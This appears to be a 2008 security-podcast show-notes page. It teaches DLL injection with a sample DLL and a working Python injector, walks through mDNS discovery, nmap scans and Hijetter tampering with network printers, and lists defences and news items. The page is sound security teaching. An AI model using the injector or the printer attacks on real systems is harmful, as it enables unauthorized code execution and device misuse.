Episode98

From Paul's Security Weekly
Jump to: navigation, search
Palo Alto Networks
Tenable Network Security
The SANS Institute
Pwnie Express
Black Hills Information Security

Episode Media

mp3 pt 1

mp3 pt 2

Mini-Tech Segment - DLL Injection

So you've all heard Paul get hot and heavy about DLL injection but let's take a bit more of a technical look at the details of how an injection works. DLL's are the shared code libraries that are native to Windows (if you didn't know that already). Most DLLs export functionality to allow other libraries or executables to call functions that are contained within the DLL. However, DLLs can be useful to an attacker or a penetration tester in that if you can get your own DLL injected into another process, and have it's code run at the privilege level of that process, you can effectively run code that appears to be coming from that process. Follow me so far?

DLL Structure

So how do we do this magic? The first step is to understand how a DLL is structured at a high level. Below is a sample of a DLL that doesn't have any routines but illustrates the general make up of a DLL, that when loaded by a process (through injection or otherwise) it spawns the Windows calculator.


#include <windows.h> 
#include <stdlib.h>
#include <stdio.h>
#include <time.h>

BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
	switch(ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		
		STARTUPINFO si;
                PROCESS_INFORMATION pi;

                ZeroMemory( &si, sizeof(si) );
                si.cb = sizeof(si);
                ZeroMemory( &pi, sizeof(pi) );

   

                // Start the child process. 
               if( !CreateProcess( NULL,   // No module name (use command line)
               "calc.exe",     // Command line
               NULL,           // Process handle not inheritable
               NULL,           // Thread handle not inheritable
               FALSE,          // Set handle inheritance to FALSE
               0,              // No creation flags
               NULL,           // Use parent's environment block
               NULL,           // Use parent's starting directory 
               &si,            // Pointer to STARTUPINFO structure
               &pi )           // Pointer to PROCESS_INFORMATION structure
               ) 
              
              // Wait until child process exits.
              WaitForSingleObject( pi.hProcess, INFINITE );

             // Close process and thread handles. 
            CloseHandle( pi.hProcess );
            CloseHandle( pi.hThread );
	    break;

	case DLL_THREAD_ATTACH:
		break;
	case DLL_THREAD_DETACH:
		break;
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}


So aside from the process creation code, the important thing to notice is the switch{} statement that looks at whether the DLL has been loaded (DLL_PROCESS_ATTACH), or unloaded (DLL_PROCESS_DETACH) and their counterparts for threaded routines (not important for this discussion). The main thing is that when we inject a DLL it will receive the DLL_PROCESS_ATTACH, and it is there that we need to execute our code. Got it? Good! You can compile the above example with any C++ compiler on Windows that you choose.

In Windows all DLL's are loaded using the LoadLibrary() call, which takes one parameter and that's the path of the DLL. Generally if you drop a DLL into %systemroot% and just call LoadLibrary() with the DLL's name it will find it, otherwise use the full path to the DLL. The problem is that we need to get a remote process to call LoadLibrary() to get our DLL into it's process space, this is the trickery that also makes it so cool :)

Loading the DLL

Now that we have a 10,000 foot view of how a DLL works, let's look at getting it loaded into a remote process. The first step is to get a handle to the process we want to inject into, this is done using the Win32 API call OpenProcess(), like so:

process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid);

So all we do is pass it the PID of the process we want to inject into, and it should return a valid handle. If not then most likely you don't have the privileges necessary to get a handle to that process, try doing it as admin. Now that we have the handle, we are able to manipulate that process. The first step is to allocate a small amount of memory in that process to hold the name of our DLL we wish to load. We use the VirtualAllocEx() call to accomplish this. Next, we want to write the name of our DLL to that newly acquired memory page by using the WriteMemory() function call.

dll_name = "larry.dll";

address_of_dll_name= VirtualAllocEx(process_handle, NULL, len(dll_name), VIRTUAL_MEM, PAGE_READWRITE);

WriteProcessMemory(process_handle, address_of_string, dll_name, len(dll_name), bytes_written);

So we allocate a 9-byte buffer in the remote process and then we write into that memory. If successful then the bytes_written parameter should now be equal to integer value 9. Now we have the DLL name written, we have to get LoadLibrary() to somehow use that DLL name. This is where the "injection" part comes together.

The first step is to determine where the function call LoadLibrary() actually lives in regards to the process that we are injecting into, in Windows you resolve function addresses using GetModuleHandle() and GetProcAddress().

kernel32_handle = GetModuleHandleA("kernel32.dll");

load_library_address = GetProcAddress(kernel32_handle, "LoadLibraryA");

We now know where the function LoadLibrary() lives so that we can actually call it. NOTE: The "A" tagged onto the end of the LoadLibrary() call means to call this function in "ASCII" mode. This means you send it an ASCII DLL name, if the call was "LoadLibraryW" then you have to Unicode encode the DLL name before making the call. This is a standard calling convention for all Win32 API functions.

Now it all comes together by calling CreateRemoteThread(). This function's job is to spawn a thread in a process that you have a valid handle to, it's a sweet function, especially for what we are looking to achieve. So it's CreateRemoteThread()'s job to make the call to LoadLibraryA with the argument of "larry.dll". Here is how it's done:


CreateRemoteThread(process_handle, NULL, NULL,load_library_address, address_of_dll_name, NULL, thread_id);

When this gets called, it creates a thread who's starting point is the address of LoadLibraryA. CreateRemoteThread() also takes in the parameters for the remote function call, in this case its "address_of_dll_name" which points to the string "larry.dll". Once you execute this function, game over, the DLL is injected into that process.

To put it all together in Python:

import ctypes

PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )
PAGE_READWRITE     = 0x04
VIRTUAL_MEM        = ( 0x1000 | 0x2000 )

kernel32 = ctypes.windll.kernel32

dll_path = raw_input("Path to DLL you wish to inject:")
dll_path_len = len(dll_path)

pid = raw_input("PID you wish to inject into:")
pid = int(pid)

process_handle = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
address_of_dll_name = kernel32.VirtualAllocEx(process_handle, 0, dll_path_len, VIRTUAL_MEM, PAGE_READWRITE)

written = ctypes.c_int(0)
kernel32.WriteProcessMemory(process_handle, address_of_dll_name, dll_path, dll_path_len, ctypes.byref(written))

kernel32_handle = kernel32.GetModuleHandleA("kernel32.dll")
load_library_address = kernel32.GetProcAddress(kernel32_handle, "LoadLibraryA")

thread_id = ctypes.c_ulong(0)
if not kernel32.CreateRemoteThread(process_handle, None, 0, load_library_address, address_of_dll_name, 0, ctypes.byref(thread_id)):
    print "[*] Failed to inject DLL."
else:
    print "[*] Successfully injected. Thread ID: %08x" % thread_id

Tech Segment - Finding Devices With Zeroconf, Exploiting For Fun (and possibly profit)

pdp from gnucitizen.org posted a nice article and tool that allows you to take advantage of the mDNS services to discover devices. mDNS is "Multi-cast DNS" and is defined in this draft RFC is part of the "Zerconf" protocol developed by Apple. Zeroconf is, according to its wikipedia entry, "a set of techniques that automatically create a usable IP network without configuration or special servers. ". Yikes, does this smell of trouble with security? So exiting I can smell it, and you should too especially if its on your network! The zeroconf service allows devices to to name resolution in the .local. domain by contacting the multicast address "224.0.0.251". Not only does name resolution happen here, but services too! The tool, written in Python, allows you to query all the devices running zerconf by sending requests to the multicast address. This script requires Python 2.5 or later (in OS X I used Darwin ports to install: 'port install python2.5'). I then had to point to the python binary specifically (yes, I should make a better workaround for that). The mDNS.py script has a few options:

usage: mDNS.py [options]
        -a --action        action type
        -d --domain        domain
        -H --host          host
        -i --iterations    iterations (default 1)
        -n --name          name
        -p --port          port
        -r --record        txtRecord
        -t --type          record type
        -T --timeout       operation timeout (default 5, register, browse)
        -u --utimeout      secondary timeout (default 5, resolve)
        -h --help          show this screen

actions:
        B                  - browse mDNS
        R                  - register new mDNS entity

types:
        _printer._tcp
        _pdl-datastream._tcp
        _ipp._tcp
        _http._tcp
        _ftp._tcp
        _telnet._tcp
        _ssh._tcp

examples:
        mDNS.py -aB -t _pdl-datastream._tcp
        mDNS.py -aR -t _test._pdl-datastream._tcp -p 1900 -i 10

GNUCITIZEN
Petko D. Petkov; pdp (architect)

I wanted to start just by browsing, however there are follow-up articles from gnucitizen that talk about spoofing and becoming the devices registered via zerconf. To browse I used the "-aB" option. I then had to specify a type, which referes to the service type in zeroconf (for more information go here. So here's the example, lets say I want to find all of the printers on the network that are participating in zerconf and respnding to mDNS requests:

paimei:~/mDNS paulda$ /opt/local/bin/python2.5 mDNS.py -aB -t _printer._tcp
record:
        name: Brother\032MFC-9420CN._printer._tcp.local.
        host: BRN-7EB8E1.local.
        port: 515
        txtRecord: txtvers=qtotal=16pdl=application/vnd.hp-PCL,application/vnd.brother-hbprp=duerqxesz5090ty=Brother MFC-9420CNproduct=(Brother MFC-9420CN)"adminurl=http://BRN-7EB8E1.local./
Transparent=TTBCP=FT                                  priority=75usb_MFG=Brotherusb_MDL=MFC-9420CNColor=Copies=Duplex=F

record:
        name: hp\032color\032LaserJet\0324600\032(0001E671A406)._printer._tcp.local.
        host: BeerBreadRUs179.local.
        port: 515
        txtRecord: rp=RAWJpdl=application/postscript,application/vnd.hp-PCL,application/vnd.hp-PCLXLty=hp color LaserJet 4600 product=(hp color LaserJet 4600)
                      priority=52#adminurl=http://BeerBreadRUs179.local.:80Color=Copies=Duplex=T

Lots of fun stuff here! First, note the hostnames "BeerBreadRUs179.local." You can actually type 'ping BeerBreadRUs179.local." and it will resolve the name and start pinging it which is pretty neat because its using mDNS to do the name resolution instead of the normal process. I wanted to see what the network traffic looked like, and the most interesting thing is that no packets were sent to the end devices, but only to the multicast address! Below is the traffic output:

10:57:22.989868 IP 192.168.10.50.5353 > 224.0.0.251.5353: 0 [2a] PTR (QU)? _printer._tcp.local. (122)
10:57:23.090120 IP 192.168.10.50.5353 > 224.0.0.251.5353: 0 [2q] SRV (QU)? Brother MFC-9420CN._printer._tcp.local. TXT (QU)? Brother MFC-9420CN._printer._tcp.local. (62)
10:57:23.989868 IP 192.168.10.50.5353 > 224.0.0.251.5353: 0 [2a] [3q] PTR (QM)? _printer._tcp.local. SRV (QM)? Brother MFC-9420CN._printer._tcp.local. TXT (QM)? Brother MFC-9420CN._printer._tcp.local. (134)
10:57:24.080248 IP 192.168.10.3.5353 > 224.0.0.251.5353: 0*- [0q] 2/0/1 (Cache flush) SRV BRN-7EB8E1.local.:515 0 0, (Cache flush) TXT "txtvers=1" "qtotal=1" "pdl=application/vnd.hp-PCL,application/vnd.brother-hbp" "rp=duerqxesz5090" "ty=Brother MFC-9420CN" "product=(Brother MFC-9420CN)" "adminurl=http://BRN-7EB8E1.local./" "priority=75" "usb_MFG=Brother" "usb_MDL=MFC-9420CN" "Color=F" "Copies=T" "Duplex=F" "PaperCustom=T" "Binary=T" "Transparent=T" "TBCP=F" (403)
10:57:24.089635 IP 192.168.10.50.5353 > 224.0.0.251.5353: 0 [2q] SRV (QU)? hp color LaserJet 4600 (0001E671A406)._printer._tcp.local. TXT (QU)? hp color LaserJet 4600 (0001E671A406)._printer._tcp.local. (81)
10:57:25.498903 IP 192.168.10.4.5353 > 224.0.0.251.5353: 0*- [0q] 5/0/1 (Cache flush) SRV BeerBreadRUs179.local.:515 0 0, TXT "rp=RAW" "pdl=application/postscript,application/vnd.hp-PCL,application/vnd.hp-PCLXL" "ty=hp color LaserJet 4600" "product=(hp color LaserJet 4600)" "priority=52" "adminurl=http://BeerBreadRUs179.local.:80" "Color=T" "Copies=T" "Duplex=T", TXT "rp=TEXT" "pdl=text/plain" "ty=hp color LaserJet 4600" "product=(hp color LaserJet 4600)" "priority=53" "adminurl=http://BeerBreadRUs179.local.:80" "Color=T" "Copies=T" "Duplex=T", TXT "rp=AUTO" "pdl=application/postscript,application/vnd.hp-PCL,application/vnd.hp-PCLXL,text/plain" "ty=hp color LaserJet 4600" "product=(hp color LaserJet 4600)" "priority=51" "adminurl=http://BeerBreadRUs179.local.:80" "Color=T" "Copies=T" "Duplex=T", (Cache flush) TXT "rp=BINPS" "pdl=application/postscript" "ty=hp color LaserJet 4600" "product=(hp color LaserJet 4600)" "Transparent=T" "Binary=T" "priority=50" "adminurl=http://BeerBreadRUs179.local.:80" "Color=T" "Copies=T" "Duplex=T" (953)

So, now lets continue our attack and take a look at the printers and how they stand up to an Nmap scan:

paimei:~ root# nmap -O -sV BRN-7EB8E1.local.

Starting Nmap 4.50 ( http://insecure.org ) at 2008-01-31 11:04 EST
Interesting ports on brother.net.beerbreadrus.org (192.168.10.3):
Not shown: 1704 closed ports
PORT     STATE SERVICE    VERSION
21/tcp   open  ftp        Brother/HP printer ftpd 1.10
23/tcp   open  telnet     Brother/HP printer telnetd
25/tcp   open  smtp       Brother printer smtpd
80/tcp   open  http       Brother/HP printer webadmin (Debut embedded httpd 0.07)
515/tcp  open  printer
631/tcp  open  http       Brother/HP printer webadmin (Debut embedded httpd 0.07)
9100/tcp open  jetdirect?
MAC Address: 00:80:77:7E:B8:E1 (Brother Industries)
No exact OS matches for host (If you know what OS is running on it, see http://insecure.org/nmap/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=4.50%D=1/31%OT=21%CT=1%CU=40325%PV=Y%DS=1%G=Y%M=008077%TM=47A1F1B
OS:1%P=i386-apple-darwin8.11.1)SEQ(SP=CD%GCD=1%ISR=D9%TI=I%II=I%SS=S%TS=U)O
OS:PS(O1=M5B4%O2=M578%O3=M280%O4=M200%O5=M218%O6=M109)WIN(W1=1000%W2=1000%W
OS:3=1000%W4=1000%W5=1000%W6=1000)ECN(R=Y%DF=N%T=73%W=1000%O=M5B4%CC=N%Q=)T
OS:1(R=Y%DF=N%T=73%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=N%T=73%W=1000%S=O
OS:%A=S+%F=AS%O=M109%RD=0%Q=)T4(R=Y%DF=N%T=73%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5
OS:(R=Y%DF=N%T=73%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=N%T=73%W=0%S=A%A=Z
OS:%F=R%O=%RD=0%Q=)T7(R=Y%DF=N%T=73%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=
OS:N%T=73%TOS=0%IPL=38%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=96CB%RUL=G%RUD=G)IE(R
OS:=Y%DFI=N%T=73%TOSI=Z%CD=Z%SI=S%DLI=S)


Network Distance: 1 hop
Service Info: Device: printer

OS and Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.190 seconds

And the other printer:

paimei:~ root# nmap -O -sV 192.168.10.4

Starting Nmap 4.50 ( http://insecure.org ) at 2008-01-31 11:18 EST
Interesting ports on hp1200.net.beerbreadrus.org (192.168.10.4):
Not shown: 1703 closed ports
PORT     STATE SERVICE    VERSION
21/tcp   open  ftp        HP JetDirect ftpd
23/tcp   open  telnet     HP JetDirect printer telnetd (No password)
80/tcp   open  http       HP LaserJet http config (Embedded webserver: Agranat-EmWeb 6.2.1)
280/tcp  open  http       HP LaserJet http config (Embedded webserver: Agranat-EmWeb 6.2.1)
443/tcp  open  ssl/http   HP LaserJet http config (Embedded webserver: Agranat-EmWeb 6.2.1)
515/tcp  open  printer
631/tcp  open  http       HP LaserJet http config (Embedded webserver: Agranat-EmWeb 6.2.1)
9100/tcp open  jetdirect?
MAC Address: 00:01:E6:71:A4:06 (Hewlett-Packard Company)
Device type: printer
Running: HP embedded
OS details: HP LaserJet 4050/4200/4600/5100 (JetDirect) printer
Uptime: 9.036 days (since Tue Jan 22 10:27:47 2008)
Network Distance: 1 hop
Service Info: Devices: print server, printer

OS and Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.857 seconds

Interesting stuff! I did some poking and found the the HP printer above was vulnerable to an attack against the PCL subsystem outlined some years ago. Using a tool called Hijetter (available from the new Phenoelit US web site) I found the following:

The first image shows the initial screen. I entered the IP address of the printer and clicked the connect button.

CropperCapture-1-.Png

You can see that we have three buttons below, and they are all active and available to us. The first lets us browse all of the file on the printer and upload new files:

CropperCapture-2-.Png

The second allows us to change the configuration settings on the printer. The setting shown below will print 10000 copies of each page printed to the printer:

CropperCapture-3-.Png

The final one allows you to change the display on the printer:

CropperCapture-4-.Png

Defense

  • Disable mDNS and Zerconf on your devices
  • Only enable the services that you need on your devices (why does a printer need FTP?)
  • Keep up-to-date with firmware
  • Implement a print server so users do not connect directly to the printers
  • Filter traffic to the multicast address space

Stories of Interest

OSXCrypt - [Larry] - a follow on to our comments about the lack of affordable whole disc encryption. [securethoughts] - OSXCrypt is an open-source TrueCrypt-compatible port for OSX. Larry mentioned he didn't know of any cheap whole-disk encryption solutions for PCs or his Mac. TrueCrypt 5.0 (coming in Feb 2008) will support bootable Windows volumes. OSXCrypt has just released a pre-beta of their software, and should hoepfully be including whole-disk encryption for Intel Macs soon.

Newsflash: Microsoft says Vista security is great - [PaulDotCom] - Wake up call, no one is using Vista! OS X was secure when no one used it too!

PHP IRC Bot - [Larry] - Quite some time back in the annals of PaulDotCom Security Weekly history, Paul and I discussed being scared about botnet C&C happening over http/https. Now I'm getting even more scared. How about an IRC bot client written in php? Can you say file upload/remote File inclusion anyone? This particular one uses 9 different DNS servers to get back to the C&C server. Talk about redundancy.

F5 BigIP XSS Vulnerability - [PaulDotCom] - Vendors need to wake up and realize that XSS vulns in management interfaces won't fly anymore. If I can target a home router with an XSS, why can't I target a corporation that is running F5? Oh, and I know your running F5 because I can use p0f and fingerprint it thank you very much.

Men feel more secure online? - [Larry] - This article indicates that this whole gender thing may be true - men feel safer online, where women may take the online threats more serious. From what I've seen so far from analyzing online exposures with private myspace pics, this seems to carry true. the compromising photos, and or more revealing/concerning are all that of men. the women seem to be quite cautious about what they post online. Now, I'm only about 50,000 images in and only reviewing actual picture content.

CSRF Attacks & Forensics - [PauldotCom] - So here is the scenario. You browser to a web site that launches a CSRF attack against your companies financial information system. The attack does something along the lines of increase your salary. When an investigation is launched, gues what, your guilty even though it was not you, but an attacker. not so far fetched...

DEFCON 15 Videos - [Larry] - Now available as a podcast. Didn't get to go? Get get the videos - especially Tactical exploitation!

"Scanning" is more than identifying vulnerabilities, you have to fix them - [PaulDotCom] - This is a great article from Jeremiah Grossman and it underscores a very important point. You can have all the fancy wizbang tools you want, however you need people to manage them and the results. This means following up on recommendations, and re-testing to be certain that recommendations are followed and that they fixes actually work. Otherwise, these tools are going to sit around, and when they are used they are going to be a waste of time.

Metaspplit 3.1 Out - [Larry] - New improved GUI for all the newbs, more iPhone support, and 267 exploits

PHP IRC Client - [PaulDotCom] - I love this one, its a novel idea, now all it needs to do is implement some form of encryption and we're good to go. However, you should be looking at all of the traffic that is initiated by you web server. If its a web server, the amount of traffic it initiates should be very small, and highly suspicious.

Technology for technology sake? - [Larry] - Now, why do artificial legs need Bluetooth? I'd love to see JWright hack them to make them tapdance. I bet the pin is 0000.

Why Should You Have A Pen Test? - [PaulDotCom] - Simply answer a question with a question, "Would you feel safe about airport security if it was never tested and constantly improved?". There is always room for improvement, and in order to find out where you can improve you must test. Not only external testing, but internally as well. For example, "every TSA X-ray machine has a Threat Image Projection system, which digitally inserts images of guns, knives and bombs into the X-rays of luggage, to keep screeners alert". We should do the same thing! An exploit and a backdoor should be fed through your network to see if the IDS catches it. Got anti-* software? How do you know if it works if you don't try to trick users into executing your own malicious code? More importantly, how do you respond once an incident has been discovered? Not only does testing test the systems in your defense, but the people as well, which is even more important...

Easy Malware analysis - [Larry] - F-secure found some clues as to what this malware was when trying to analyze - the author wrote in the code: "AV-Companys, this is "Backdoor.W32.XXXX"

Wrong number generator - [Larry] - This device plugs inline to the phone and the wall, and replaces the dialed number with random numbers. Hmmm, what about making this dial a number of your choice!

Owning Video Surveillance Networks - [Larry] - I <3 GNUCITIZEN. The build a fake AXIS 206 Server, and a way to stream video of your own creation to it.

Hole is Cisco Wireless Control System - [PaulDotCom] - The flaw in the web server has been known for almost a year and involves a tomcat module for Apache! "This error has been known since last March, and was eliminated by the developer at that time." So, how does a company manage to ignore a flaw in open-source software for almost a year? This is not hard, if you use open-source software you need to monitor the bug fixes, and vulnerability fixes, to be certain that your product, based on this software, is not vulnerable. Again, process people, process!!! (or as just would say "proh-cess") :)

Listener Submitted

OSXCrypt [securethoughts] - OSXCrypt is an open-source TrueCrypt-compatible port for OSX. Larry mentioned he didn't know of any cheap whole-disk encryption solutions for PCs or his Mac. TrueCrypt 5.0 (coming in Feb 2008) will support bootable Windows volumes. OSXCrypt has just released a pre-beta of their software, and should hoepfully be including whole-disk encryption for Intel Macs soon.

Facebook Privacy [securethoughts] - YouTube video on Facebook privacy... or lack thereof. Government data mining operation?

For Your Enjoyment

abort, retry, FAIL!